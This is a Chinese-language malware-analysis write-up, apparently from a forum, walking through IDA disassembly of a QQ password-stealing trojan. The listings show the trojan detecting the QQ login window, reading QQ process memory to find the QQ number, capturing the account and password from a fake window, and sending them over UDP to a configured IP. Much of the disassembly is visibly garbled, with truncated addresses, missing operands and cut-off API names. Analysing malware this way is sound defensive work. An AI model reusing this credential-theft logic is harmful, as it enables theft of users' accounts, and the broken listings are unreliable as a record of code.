.text:00401A0B C7 44 24 30 00 00 00 00 mov [esp+3Ch+var_30.lpszMenuName], 0
.text: 44 24 34 20 D4 40 00 mov [esp+3Ch+var_30.lpszClassName], offset ClassName
.text:00401A1B FF D6 LoadIconA
.text:D 54 24 04 lea edx, [esp+34h+var_30]
.text: WNDCLASSEXA *
.text: 44 24 34 mov [esp+38h+var_30.hIconSm], eax
.text:00401A26 FF 15 68 41 40 00 call ds:RegisterClassExA
.text:E pop esi
.text: C4 30 add esp, 30h
.text: retn&/FONT&复制代码上面的这段代码注册了一个窗口类,这个窗口的消息处理过程函数是sub_4021D0,当这个窗口接收到消息后,都会调用这个消息处理过程函数来处理接收到的消息。下面我们来看这个消息处理过程都干了些啥。
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text: A1 18 60 40 00 mov eax, ___security_cookie
.text:004021DE 33 C4 xor eax, esp
.text: 89 44 24 78 mov [esp+7Ch+var_4], eax
.text: 8B 45 0C mov eax, [ebp+Msg]
.text: 53 push ebx
.text: 33 DB xor ebx, ebx
.text:004021EA 83 E8 01 sub eax, 1 ; 检测消息是否为WM_CREATE
.text:004021ED 56 push esi
.text:004021EE 8B 75 08 mov esi, [ebp+hWnd]
.text: 57 push edi
.text: C7 44 24 20 01 00 00 00 mov [esp+88h+var_68], 1
.text:004021FA 89 5C 24 24 mov [esp+88h+var_64], ebx
.text:004021FE 89 5C 24 28 mov [esp+88h+var_60], ebx
.text: 5C 24 2C mov [esp+88h+var_5C], ebx
.text:F 84 67 01 00 00 jz loc_402373
.text: E8 0E sub eax, 0E 检测消息是否为WM_PAINT
.text: 1F jz short loc_402230
.text:D F2 01 00 00 sub eax, 1F2 检测消息是否为WM_LBUTTONDOWN
.text:F 85 6C 01 00 00 jnz loc_402388 ; 不是就跳转
.text: lParam
.text:A 02 push 2 ; wParam
.text: A1 00 00 00 push 0A1 Msg
.text: hWnd
.text: FF 15 8C 41 40 00 call ds:SendMessageA
.text:0040222B E9 58 01 00 00 jmp loc_402388&/FONT&复制代码通过上面这段代码我们可以知道,这个消息处理过程主要就是处理3个消息:WM_CREATE、WM_PAINT和WM_LBUTTONDOWN。WM_PAINT和WM_LBUTTONDOWN这两个消息我们基本可以忽略了,下面就看看WM_CREATE这里面干了些啥。
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text: loc_402373: ; CODE XREF: sub_j
.text: push ebx
.text:D 54 24 24 lea edx, [esp+8Ch+var_68]
.text: push edx
.text:D 44 24 20 lea eax, [esp+90h+var_70]
.text: push eax
.text:0040237E E8 E5 0B 00 00 call GdiplusStartup
.text: F8 F9 FF FF call sub_401D80&/FONT&复制代码我们来到处理WM_CREATE消息的地方,看到这调用了一个函数sub_401D80,我们进去看看
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text:00401D9E B8 41 00 00 00 mov eax, 41h
.text:0 push edi
.text:0B 3D B4 40 40 00 mov edi, ds:GetModuleHandleA
.text:00401DAA 66 89 44 24 18 mov [esp+24h+var_C], ax
.text:00401DAF 66 89 44 24 1C mov [esp+24h+var_8], ax
.text:0D 44 24 0C lea eax, [esp+24h+Type]
.text:0 lpType
.text:0 54 00 00 00 mov ecx, 54h
.text:00401DBE 68 85 00 00 00 push 85 lpName
.text:0A 00 push 0 ; lpModuleName
.text:0 89 4C 24 1A mov [esp+30h+var_16], cx
.text:00401DCA 66 C7 44 24 1C 5F 00 mov [esp+30h+var_14], 5Fh
.text:0 C7 44 24 20 43 00 mov [esp+30h+var_10], 43h
.text:0 C7 44 24 22 44 00 mov [esp+30h+var_E], 44h
.text:00401DDF 66 89 4C 24 26 mov [esp+30h+var_A], cx
.text:0 C7 44 24 2A 00 00 mov [esp+30h+var_6], 0
.text:00401DEB FF D7 GetModuleHandleA
.text:00401DED 50 hModule
.text:00401DEE FF 15 2C 40 40 00 call ds:FindResourceW
.text:0B F0 mov esi, eax
.text:0 F6 test esi, esi
.text:0F 84 64 01 00 00 jz loc_401F62
.text:00401DFE 53 push ebx
.text:00401DFF 56 hResInfo
.text:A 00 push 0 ; lpModuleName
.text:00401E02 FF D7 GetModuleHandleA
.text: hModule
.text:00401E05 FF 15 30 40 40 00 call ds:LoadResource
.text:B D8 mov ebx, eax
.text: DB test ebx, ebx
.text: 5C 24 0C mov [esp+28h+var_1C], ebx&/FONT&复制代码发现里面就是加载资源啥的,先不深究。我们现在先要找到的是这个木马怎么去检测QQ正在登陆。通过查看窗口过程我们没有发现定时器消息的处理,而在winmain函数中看到了下面这段代码:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text:D 54 24 10 lea edx, [esp+30h+ThreadId]
.text: lpThreadId
.text:A 00 push 0 ; dwCreationFlags
.text:A 00 push 0 ; lpParameter
.text: 50 29 40 00 push offset StartA lpStartAddress
.text:A 00 push 0 ; dwStackSize
.text:A 00 push 0 ; lpThreadAttributes
.text: FF 15 58 40 40 00 call ds:CreateThread&/FONT&复制代码这里创建了一个线程,我们进去看看,在线程中,我们看到这样一段代码
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:D 8C 24 4A 01 00 00 lea ecx, [esp+354h+var_20A]
.text: Val
.text: Dst
.text: 89 9C 24 50 01 00 00 mov [esp+35Ch+String1], bx
.text:0040299A E8 DF 0E 00 00 call memset
.text: C4 18 add esp, 18h
.text: FF 15 D4 41 40 00 call ds:GetForegroundW 获取活动窗口句柄
.text: 8B 2D D0 41 40 00 mov ebp, ds:GetWindow
.text:004029AE 8B F0 mov esi, eax
.text: 6A 05 push 5 ; uCmd
.text: 56 hWnd
.text: FF D5 GetW 与指定窗口有特定关系的窗口句柄
.text: 8B F8 mov edi, eax
.text: 3B FB cmp edi, ebx
.text: 89 5C 24 10 mov [esp+344h+var_334], ebx
.text:004029BD 74 5D jz short loc_402A1C
.text:004029BF 68 04 01 00 00 push 104 nMaxCount
.text: 8D 94 24 3C 01 00 00 lea edx, [esp+348h+String1]
.text:004029CB 52 lpClassName
.text:004029CC 57 hWnd
.text:004029CD FF 15 CC 41 40 00 call ds:GetClassNameW ; 获取窗口类名
.text: 8D 44 24 28 lea eax, [esp+344h+String2]
.text: 50 lpString2
.text: 8D 8C 24 3C 01 00 00 lea ecx, [esp+348h+String1]
.text:004029DF 51 lpString1
.text: 66 C7 44 24 30 45 00 mov [esp+34Ch+String2], 45 字符'E'
.text: 66 C7 44 24 32 64 00 mov [esp+34Ch+var_31A], 64 字符'd'
.text:004029EE 66 C7 44 24 34 69 00 mov [esp+34Ch+var_318], 69 字符'i'
.text: 66 C7 44 24 36 74 00 mov [esp+34Ch+var_316], 74 字符't'
.text:004029FC 66 89 5C 24 38 mov [esp+34Ch+var_314], bx
.text:00402A01 FF 15 60 40 40 00 call ds:lstrcmpW ; 用获取到的类名来和&Edit&进行比较
.text: C0 test eax, eax
.text: 09 jz short loc_402A14 ; 如果找到类名为&Edit&的窗口则跳转
.text:A 02 push 2 ; uCmd
.text: hWnd
.text:00402A0E FF D5 GetWindow
.text: C0 test eax, eax
.text: 08 jz short loc_402A1C
.text:00402A14
.text:00402A14 loc_402A14: ; CODE XREF: StartAddress+B9j
.text: 44 24 10 01 00 00 00 mov [esp+344h+var_334], 1
.text:00402A1C
.text:00402A1C loc_402A1C: ; CODE XREF: StartAddress+6Dj
.text:00402A1C ; StartAddress+C2j
.text: 04 01 00 00 push 104 nMaxCount
.text:D 54 24 38 lea edx, [esp+348h+ClassName]
.text: lpClassName
.text: hWnd
.text: 44 24 24 54 mov [esp+350h+var_32C], 54 字符'T'
.text:00402A2C C6 44 24 25 58 mov [esp+350h+var_32B], 58 字符'X'
.text: 44 24 26 47 mov [esp+350h+var_32A], 47 字符'G'
.text: 44 24 27 75 mov [esp+350h+var_329], 75 字符'u'
.text:00402A3B C6 44 24 28 69 mov [esp+350h+var_328], 69 字符'i'
.text: 44 24 29 46 mov [esp+350h+var_327], 46 字符'F'
.text: 44 24 2A 6F mov [esp+350h+var_326], 6F 字符'o'
.text:00402A4A C6 44 24 2B 75 mov [esp+350h+var_325], 75 字符'u'
.text:00402A4F C6 44 24 2C 6E mov [esp+350h+var_324], 6E 字符'n'
.text: 44 24 2D 64 mov [esp+350h+var_323], 64 字符'd'
.text: 44 24 2E 61 mov [esp+350h+var_322], 61 字符'a'
.text:00402A5E C6 44 24 2F 74 mov [esp+350h+var_321], 74 字符't'
.text: 44 24 30 69 mov [esp+350h+var_320], 69 字符'i'
.text: 44 24 31 6F mov [esp+350h+var_31F], 6F 字符'o'
.text:00402A6D C6 44 24 32 6E mov [esp+350h+var_31E], 6E 字符'n'
.text: 5C 24 33 mov [esp+350h+var_31D], 字符'\0'
.text:00402A76 FF 15 C8 41 40 00 call ds:GetClassNameA
.text:D 44 24 18 lea eax, [esp+344h+var_32C]
.text: lpString2
.text:D 4C 24 38 lea ecx, [esp+348h+ClassName]
.text: lpString1
.text:00402A86 FF 15 64 40 40 00 call ds:lstrcmpA
.text: C0 test eax, eax
.text:F 85 5F 01 00 00 jnz loc_402BF3 ; 如果找到的类名不是&TXGuiFoundation&则跳转
.text: 5C 24 10 cmp [esp+344h+var_334], 检测前一个类名是否为&Edit&
.text:F 85 55 01 00 00 jnz loc_402BF3 ; 如果类名为&TXGuiFoundation&,但前一个类名不为&Edit&则跳转
.text:D 54 24 14 lea edx, [esp+344h+dwProcessId]
.text:0 lpdwProcessId
.text:0 hWnd
.text:00402AA4 FF 15 50 41 40 00 call ds:GetWindowThreadProcessI 获取创建该窗口的线程ID
.text:00402AAA 8B 0D 58 D4 40 00 mov ecx, dword_40D458
.text:0B 15 E4 63 40 00 mov edx, dword_4063E4
.text:0B 6C 24 14 mov ebp, [esp+344h+dwProcessId]
.text:00402ABA 33 C0 xor eax, eax
.text:00402ABC 3B CB cmp ecx, ebx
.text:00402ABE 7E 15 jle short loc_402AD5
.text:0D 7A 3C lea edi, [edx+3Ch]
.text:00402AC3
.text:00402AC3 loc_402AC3: ; CODE XREF: StartAddress+183j
.text:0B 2F cmp ebp, [edi]
.text:0F 84 CA 00 00 00 jz loc_402B95
.text:00402ACB 83 C0 01 add eax, 1
.text:00402ACE 83 C7 70 add edi, 70h
.text:0B C1 cmp eax, ecx
.text:0C EE jl short loc_402AC3
.text:00402AD5
.text:00402AD5 loc_402AD5: ; CODE XREF: StartAddress+16Ej
.text:0B C9 70 imul ecx, 70h
.text:0 6C 11 3C mov [ecx+edx+3Ch], 保存线程ID
.text:00402ADC 8B 15 58 D4 40 00 mov edx, dword_40D458
.text:0B 0D E4 63 40 00 mov ecx, dword_4063E4
.text:0B D2 70 imul edx, 70h
.text:00402AEB 89 74 0A 38 mov [edx+ecx+38h], 保存窗口句柄
.text:00402AEF 83 05 58 D4 40 00 01 add dword_40D458, 1&/FONT&复制代码上面这段代码就是检测QQ的登陆窗口,这是一个死循环(每检测一次之后,sleep300ms,然后再检测,代码就不贴了),如果检测到了QQ的登陆窗口,程序进行一些窗口处理之后,就会来到call& & sub_402790这一个函数,我们进去看看这个函数的代码:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text:004027BE 8B 45 08 mov eax, [ebp+arg_0]
.text: 33 FF xor edi, edi
.text: 51 dwProcessId
.text: 89 45 C4 mov [ebp+var_3C], eax
.text: B8 51 00 00 00 mov eax, 51h
.text:004027CC 57 bInheritHandle
.text:004027CD 68 10 04 00 00 push 410 dwDesiredAccess
.text: 66 C7 45 DC 5C 00 mov [ebp+var_24], 5Ch
.text: 66 89 45 DE mov [ebp+var_22], ax
.text:004027DC 66 89 45 E0 mov [ebp+var_20], ax
.text: 66 C7 45 E2 5C 00 mov [ebp+var_1E], 5Ch
.text: 66 C7 45 E4 57 00 mov [ebp+var_1C], 57h
.text:004027EC 66 C7 45 E6 69 00 mov [ebp+var_1A], 69h
.text: 66 C7 45 E8 6E 00 mov [ebp+var_18], 6Eh
.text: 66 89 7D EA mov [ebp+var_16], di
.text:004027FC 89 7D D0 mov [ebp+var_30], edi
.text:004027FF FF 15 50 40 40 00 call ds:OpenP 打开进程
.text:B C7 cmp eax, edi
.text: 45 CC mov [ebp+hProcess], eax
.text: 07 jnz short loc_402813
.text:0040280C
.text:0040280C loc_40280C: ; DATA XREF: sub_o
.text: C0 xor eax, eax
.text:0040280E E9 04 01 00 00 jmp loc_402917
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_402813: ; CODE XREF: sub_Aj
.text:D 55 84 lea edx, [ebp+SystemInfo]
.text: lpSystemInfo
.text: FF 15 54 40 40 00 call ds:GetSystemI 获取当前系统信息
.text:B 45 8C mov eax, [ebp+SystemInfo.lpMinimumApplicationAddress] ; 最小寻址空间
.text:
.text: loc_402820: ; CODE XREF: sub_B8j
.text:B 45 90 cmp eax, [ebp+SystemInfo.lpMaximumApplicationAddress] ; 用最小寻址空间来和最大寻址空间进行比较
.text: 45 D8 mov [ebp+lpBaseAddress], eax
.text:F 83 E9 00 00 00 jnb loc_402915 ; 如果最小寻址空间比最大寻址空间大则跳转
.text: 98 44 40 00 push offset unk_404498
.text:D 45 C8 lea eax, [ebp+var_38]
.text: 45 FC 00 00 00 00 mov [ebp+var_4], 0
.text: push eax
.text:0040283C C7 45 C8 1F 00 00 00 mov [ebp+var_38], 1Fh
.text: 42 10 00 00 call _CxxThrowException
.text: ; ---------------------------------------------------------------------------
.text:B 55 D8 mov edx, [ebp+lpBaseAddress]
.text:B 45 CC mov eax, [ebp+hProcess]
.text:A 1C push 1C dwLength
.text:D 4D A8 lea ecx, [ebp+Buffer]
.text: lpBuffer
.text: lpAddress
.text: hProcess
.text: FF 15 B0 40 40 00 call ds:VirtualQueryE 查询地址空间中内存地址的信息
.text: F8 1C cmp eax, 1Ch
.text: 06 jz short loc_402867
.text: 0C 28 40 00 mov eax, offset loc_40280C
.text: retn
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_402867: ; CODE XREF: sub_402790+CFj
.text: 6D 28 40 00 mov eax, offset loc_40286D
.text:0040286C C3 这里相当于一个跳转
.text:0040286D ; ---------------------------------------------------------------------------
.text:0040286D
.text:0040286D loc_40286D: ; CODE XREF: sub_402790+DCj
.text:0040286D ; DATA XREF: sub_402790:loc_402867o
.text: 7D B8 00 10 00 00 cmp [ebp+Buffer.State], 1000h
.text:F 85 C3 00 00 00 jnz loc_40293D
.text: 7D BC 04 cmp [ebp+Buffer.Protect], 4
.text:F 85 B9 00 00 00 jnz loc_40293D
.text:B 45 B4 mov eax, [ebp+Buffer.RegionSize]
.text:D 00 04 00 00 cmp eax, 400h
.text:B F8 mov edi, eax
.text:F 8C AC 00 00 00 jl loc_402940
.text:D 0C 00 lea ecx, [eax+eax]
.text: Size
.text: 45 D4 00 00 00 00 mov [ebp+NumberOfBytesRead], 0
.text:0040289F FF 15 38 41 40 00 call ds: 申请内存
.text: 8B 4D CC mov ecx, [ebp+hProcess]
.text: 83 C4 04 add esp, 4
.text:004028AB 8D 55 D4 lea edx, [ebp+NumberOfBytesRead]
.text:004028AE 52 lpNumberOfBytesRead
.text:004028AF 57 nSize
.text: 8B F0 mov esi, eax
.text: 8B 45 D8 mov eax, [ebp+lpBaseAddress]
.text: 56 lpBuffer
.text: 50 lpBaseAddress
.text: 51 hProcess
.text: FF 15 5C 40 40 00 call ds:ReadProcessM 读取内存
.text:004028BE 85 C0 test eax, eax
.text: 74 71 jz short loc_402933
.text: 8B 55 D4 mov edx, [ebp+NumberOfBytesRead]
.text: 52 push edx
.text: 56 push esi
.text: 8D 5D DC lea ebx, [ebp+var_24]
.text:004028CA E8 21 FE FF FF call sub_4026F0&/FONT&复制代码在这个函数中,主要就是读取前面找到的创建窗口的进程的数据,然后将读取出来的数据传入sub_4026F0函数中。读取出来的数据干嘛用?我们接着往下看:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text: 55 push ebp
.text: 8B 6C 24 08 mov ebp, [esp+4+arg_0] ; 从内存中读取到的数据的首地址
.text: 56 push esi
.text: 8B CB mov ecx, ebx中存放的是字符串&\\QQ\\Win&
.text: 57 push edi
.text: 33 C0 xor eax, eax
.text:004026FB 8D 71 02 lea esi, [ecx+2]
.text:004026FE 8B FF mov edi, edi
.text:
.text: loc_402700: ; CODE XREF: sub_j
.text: 8B 11 mov dx, [ecx]
.text: C1 02 add ecx, 2
.text: 85 D2 test dx, dx
.text: F5 jnz short loc_402700
.text:B CE sub ecx, 计算字符串长度
.text:0040270D D1 F9 sar ecx, 1
.text:B F1 mov esi, ecx
.text:B 74 24 14 cmp esi, [esp+0Ch+arg_4] ; 比较字符串长度和读取到的数据长度的大小
.text:F 6A jg short loc_402781 ; 字符串比读到的数据大小大则跳转
.text:
.text: loc_402717: ; CODE XREF: sub_Fj
.text:F B7 0B movzx ecx, word ptr [ebx]
.text:D 54 45 00 lea edx, [ebp+eax*2+0]
.text: FF xor edi, edi
.text: 3B 0A cmp cx, [edx] ; 从读取到的内存中取出数据,检测其是否是'\\'
.text: 2F jnz short loc_402754 ; 从字符串尾开始检测
.text: C9 xor ecx, ecx
.text: F6 test esi, esi
.text:E 1F jle short loc_40274A
.text:0040272B EB 03 jmp short loc_402730 ; 这个循环则是在读取到的内存中查找字符串&\\QQ\\Win&
.text:0040272B ; ---------------------------------------------------------------------------
.text:D 49 00 align 10h
.text:
.text: loc_402730: ; CODE XREF: sub_Bj
.text: ; sub_j
.text: 8B 2C 4B mov bp, [ebx+ecx*2] ; 这个循环则是在读取到的内存中查找字符串&\\QQ\\Win&
.text: 3B 2A cmp bp, [edx]
.text: 0F jnz short loc_402748
.text: C1 01 add ecx, 1
.text: C7 01 add edi, 1
.text: C2 02 add edx, 2
.text:B CE cmp ecx, esi
.text:C EA jl short loc_402730 ; 这个循环则是在读取到的内存中查找字符串&\\QQ\\Win&
.text: EB 02 jmp short loc_40274A
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_402748: ; CODE XREF: sub_j
.text: C7 add eax, edi
.text:0040274A
.text:0040274A loc_40274A: ; CODE XREF: sub_j
.text:0040274A ; sub_j
.text:B F7 cmp esi, edi
.text: 35 jz short loc_402783 ; esi等于edi则表示字符串已找到
.text:B 6C 24 10 mov ebp, [esp+0Ch+arg_0]
.text: EB 24 jmp short loc_402778
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_402754: ; CODE XREF: sub_j
.text:D 4E FF lea ecx, [esi-1] ; 从字符串尾开始检测
.text: C9 test ecx, ecx
.text:C 17 jl short loc_402772
.text:D 14 06 lea edx, [esi+eax]
.text:F B7 54 55 00 movzx edx, word ptr [ebp+edx*2+0] ; 从读取的内存数据中取出字符
.text:
.text: loc_402763: ; CODE XREF: sub_Cj
.text: 39 14 4B cmp [ebx+ecx*2], 这个循环则检测&\\QQ\\Win&中有没有和读取出来的数据相等的字符
.text: 07 jz short loc_402770
.text: E9 01 sub ecx, 1
.text: F5 jns short loc_402763 ; 这个循环则检测&\\QQ\\Win&中有没有和读取出来的数据相等的字符
.text:0040276E EB 02 jmp short loc_402772
.text: ; ---------------------------------------------------------------------------
.text:
.text: loc_402770: ; CODE XREF: sub_j
.text:B F9 mov edi, ecx
.text:
.text: loc_402772: ; CODE XREF: sub_j
.text: ; sub_Ej
.text:B CE mov ecx, esi
.text:B CF sub ecx, edi
.text: C1 add eax, ecx
.text:
.text: loc_402778: ; CODE XREF: sub_j
.text:D 14 06 lea edx, [esi+eax]
.text:B 54 24 14 cmp edx, [esp+0Ch+arg_4]
.text:E 96 jle short loc_402717
.text:
.text: loc_402781: ; CODE XREF: sub_j
.text: C0 xor eax, eax
.text:
.text: loc_402783: ; CODE XREF: sub_Cj
.text:F pop edi
.text:E pop esi
.text:D pop ebp
.text: retn
.text: sub_4026F0 endp&/FONT&复制代码上面这段代码就是在读取到的内存数据中查找&\\QQ\\Win&字符串。查找的方式是从读取到的数据中取出一个字符,用它和'\\'做比较,如果相等则继续比较,如果不相等则从字符串尾开始查找,看是否有字符和从内存中读取到的字符相等,如果不相等则下次查找的时候就在前一次的基础上偏移&\\QQ\\Win&字符串长度,然后继续查找。如果找到,则返回该字符串在读取到的内存数据中的偏移,反之则返回0。我们接着看sub_4026f0这个函数处理完之后,程序又干了些什么。
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:004028CF 8B F8 mov edi, eax
.text: 83 C4 08 add esp, 8
.text: 85 FF test edi, 检测返回值
.text: 89 7D D0 mov [ebp+var_30], edi
.text: 74 58 jz short loc_402933 ; 为0表示找不到字符串
.text:004028DB 66 83 7C 7E FE 5C cmp word ptr [esi+edi*2-2], 5C 找到字符串则比较内存数据中前一个字符,看其是否是'\'
.text: 8D 44 7E FE lea eax, [esi+edi*2-2]
.text: 74 09 jz short loc_4028F0
.text:
.text: loc_4028E7: ; CODE XREF: sub_Ej
.text: 83 E8 02 sub eax, 2
.text:004028EA 66 83 38 5C cmp word ptr [eax], 5Ch ;这里从返回的偏移往前找,知道找到‘\’字符(这里面就是QQ号)
.text:004028EE 75 F7 jnz short loc_4028E7
.text:
.text: loc_4028F0: ; CODE XREF: sub_j
.text: 83 C0 02 add eax, 2
.text: 66 83 38 5C cmp word ptr [eax], 5C 比较字符,看其是否是'\'
.text: 74 1C jz short loc_402915
.text: 8B 55 C4 mov edx, [ebp+var_3C]
.text:004028FC 8B C8 mov ecx, eax
.text:004028FE 8B FF mov edi, edi
.text:
.text: loc_402900: ; CODE XREF: sub_j
.text: 8B 31 mov si, [ecx] ;这里从内存中取出字符(QQ号)
.text: 89 32 mov [edx], si ;保存取出的字符
.text: C0 02 add eax, 2
.text: C1 02 add ecx, 2
.text: C2 02 add edx, 2
.text: 83 38 5C cmp word ptr [eax], 5Ch
.text: EB jnz short loc_402900
.text:
.text: loc_402915: ; CODE XREF: sub_j
.text: ; sub_j
.text:B C7 mov eax, 如果都是则返回字符串内在内存中的偏移&/FONT&复制代码这里是对之前的查找结果做一个判断,如果找到目标字符串,则返回目标字符串的偏移,然后再根据偏移来查找QQ号(这里说明下为什么要在内存中查找&\\QQ\\Win&这个字符串,因为在这个字符串之前就是QQ号,所以在找到目标字符串之后,再往前搜索一下就能找到QQ好了,上面的代码就是搜索QQ号的),否则就继续查找,在内存都读取完了之后返回。然后就是显示窗口,代码如下:
&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue face=微软雅黑&.text: C0 test eax, 检测查找结果
.text: 41 jz short loc_402BA6 ; 找不到就直接弹出窗口,啥都不显示
.text:B 0D 58 D4 40 00 mov ecx, dword_40D458
.text:B 15 3C D4 40 00 mov edx, dword_40D43C
.text:B C9 70 imul ecx, 70h
.text: C1 24 64 40 00 add ecx, offset unk_406424
.text: lParam
.text: wParam
.text:A 0C push 0C Msg
.text: hWnd
.text:00402B7F FF 15 B0 41 40 00 call ds:SendMessageW ; 找到就发送个WM_SETTEXT消息,将找到的QQ号显示在编辑框上
.text: 3C D4 40 00 mov eax, dword_40D43C
.text: push ebx
.text:A 01 push 1
.text: CF 00 00 00 push 0CFh
.text: push eax
.text:00402B93 EB 1F jmp short loc_402BB4
.text:00402B95 ; ---------------------------------------------------------------------------
.text:00402B95
.text:00402B95 loc_402B95: ; CODE XREF: StartAddress+175j
.text:B C8 mov ecx, eax
.text:B C9 70 imul ecx, 70h
.text: 7C 11 34 01 cmp dword ptr [ecx+edx+34h], 1
.text:F 52 jg short loc_402BF3
.text:0 56 FF FF FF jmp loc_402AFC
.text:00402BA6 ; ---------------------------------------------------------------------------
.text:00402BA6
.text:00402BA6 loc_402BA6: ; CODE XREF: StartAddress+213j
.text:0B 0D 3C D4 40 00 mov ecx, dword_40D43C ;
.text:00402BAC 53 lParam
.text:00402BAD 53 wParam
.text:00402BAE 68 CF 00 00 00 push 0CF Msg
.text:0 hWnd
.text:00402BB4
.text:00402BB4 loc_402BB4: ; CODE XREF: StartAddress+243j
.text:00402BB4 FF 15 8C 41 40 00 call ds:SendMessageA
.text:00402BBA 8B 15 40 D4 40 00 mov edx, hWndParent
.text:0A 01 push 1 ; nCmdShow
.text:0 hWnd
.text:00402BC3 FF 15 6C 41 40 00 call ds:ShowWindow&/FONT&复制代码在上面的代码中,如果找到,就会把找到的结果显示到对话框上的编辑框中,到目前为止,解决了查找QQ号的问题,接下来就是怎么获取密码以及把QQ号和密码发送出去的问题了。我们都知道,要想把账号密码发送出去,只能通过socket通信,而这时,我们在IDA的函数名窗口中看到了这一系列函数,我们双击找到这个函数的反汇编代码,然后通过IDA的交叉参考来找到调用这些函数的地方,代码如下:&FONT style=&BACKGROUND-COLOR: black& color=deepskyblue&.text:A 14 push 14 nMaxCount
.text: lpString
.text: hWnd
.text: FF D7 GetWindowTextA ; 获取账号
.text:B 15 50 D4 40 00 mov edx, dword_40D450
.text:B 42 1C mov eax, [edx+1Ch]
.text:A 14 push 14 nMaxCount
.text:D 73 14 lea esi, [ebx+14h]
.text: lpString
.text: hWnd
.text: FF D7 GetWindowTextA ; 获取密码
.text:B 3D 50 D4 40 00 mov edi, dword_40D450
.text:B 4F 28 mov ecx, [edi+28h] ; 这里得到的是200文件中的第一个字符串
.text:D 53 28 lea edx, [ebx+28h]
.text:
.text: loc_401554: ; CODE XREF: sub_j
.text:A 01 mov al, [ecx] ; 这个循环则是200的第一个字符串和QQ张号密码放到一起
.text: 02 mov [edx], al
.text: C1 01 add ecx, 1
.text: C2 01 add edx, 1
.text: C0 test al, al
.text: F2 jnz short loc_401554 ; 这个循环则是200的第一个字符串和QQ张号密码放到一起
.text:B C3 mov eax, ebx
.text:D 50 01 lea edx, [eax+1]
.text:
.text: loc_401567: ; CODE XREF: sub_Ej
.text:A 08 mov cl, [eax]
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: F7 jnz short loc_401567
.text:B C2 sub eax, 计算账号大小
.text: F8 04 cmp eax, 4 ; 检测账号长度
.text: 78 jbe short loc_4015EF
.text:B C3 mov eax, ebx
.text:D 50 01 lea edx, [eax+1]
.text:D 64 24 00 lea esp, [esp+0]
.text:
.text: loc_401580: ; CODE XREF: sub_j
.text:A 08 mov cl, [eax]
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: F7 jnz short loc_401580
.text:B C2 sub eax, 计算账号大小
.text: F8 14 cmp eax, 14 检测账号长度
.text: 5F jnb short loc_4015EF
.text:B C6 mov eax, esi
.text:D 50 01 lea edx, [eax+1]
.text:
.text: loc_401595: ; CODE XREF: sub_Cj
.text:A 08 mov cl, [eax]
.text: C0 01 add eax, 1
.text: C9 test cl, cl
.text: F7 jnz short loc_401595
.text:B C2 sub eax, 计算密码大小
.text: 83 F8 04 cmp eax, 4 ; 检测密码长度
.text: 76 4A jbe short loc_4015EF
.text: 8B C6 mov eax, esi
.text: 8D 50 01 lea edx, [eax+1]
.text:004015AA 8D 9B 00 00 00 00 lea ebx, [ebx+0]
.text:
.text: loc_4015B0: ; CODE XREF: sub_j
.text: 8A 08 mov cl, [eax]
.text: 83 C0 01 add eax, 1
.text: 84 C9 test cl, cl
.text: 75 F7 jnz short loc_4015B0
.text: 2B C2 sub eax, 计算密码大小
.text:004015BB 83 F8 14 cmp eax, 14 检测密码长度
.text:004015BE 73 2F jnb short loc_4015EF
.text: 8B 7F 24 mov edi, [edi+24h] ;把目标ip存入edi中
.text: E8 38 FA FF FF call sub_401000 ; 调用socket&/FONT&复制代码上面这段代码先是获取QQ账号和密码,然后对账号密码的长度做一下检测,然后就调用 call& & sub_401000函数,这个函数里调用的就是socket的那套函数,我们进去看看:&FONT face=微软雅黑&.text:
.text: EC B0 01 00 00 sub esp, 1B0h
.text: 18 60 40 00 mov eax, ___security_cookie
.text: C4 xor eax, esp
.text: 84 24 A8 01 00 00 mov [esp+1B0h+var_8], eax
.text: push esi
.text:D 44 24 18 lea eax, [esp+1B4h+WSAData]
.text: lpWSAData
.text: 02 02 00 00 push 202 wVersionRequested
.text:0040101F E8 86 1F 00 00 call WSAStartup
.text: C0 test eax, eax
.text: 7C jnz short loc_4010A4
.text: 8B 44 24 18 mov ax, [esp+1B4h+WSAData.wVersion]
.text:C 02 cmp al, 2
.text: 6E jnz short loc_40109F
.text:A E0 cmp ah, al
.text: 6A jnz short loc_40109F
.text:A 00 push 0 ; protocol
.text:A 02 push 2 ; type
.text:A 02 push 2 ; af
.text:0040103B E8 76 1F 00 00 call socket
.text: cp
.text:B F0 mov esi, eax
.text: 74 1F 00 00 call inet_addr
.text: E6 69 00 00 push 69E6 hostshort
.text: 44 24 10 mov dword ptr [esp+1B8h+to.sa_data+2], eax
.text: C7 44 24 0C 02 00 mov [esp+1B8h+to.sa_family], 2
.text: 65 1F 00 00 call htons
.text:A 10 push 10 tolen
.text:D 4C 24 0C lea ecx, [esp+1B8h+to]
.text: to
.text:A 00 push 0 ; flags
.text:A 51 push 51 len
.text: buf
.text: s
.text: 89 44 24 22 mov word ptr [esp+1CCh+to.sa_data], ax
.text:0040106F E8 54 1F 00 00 call sendto
.text: F8 FF cmp eax, 0FFFFFFFFh
.text: 2B jz short loc_4010A4
.text: s
.text:0040107A E8 4F 1F 00 00 call closesocket
.text:0040107F E8 2C 1F 00 00 call WSACleanup
.text: 01 00 00 00 mov eax, 1
.text:E pop esi
.text:B 8C 24 A8 01 00 00 mov ecx, [esp+1B0h+var_8]
.text: CC xor ecx, esp
.text: 3C 1F 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text: C4 B0 01 00 00 add esp, 1B0h
.text:0040109E C3 retn&/FONT&复制代码&&这里很显然就是把前面获取到的账号密码发送出去。
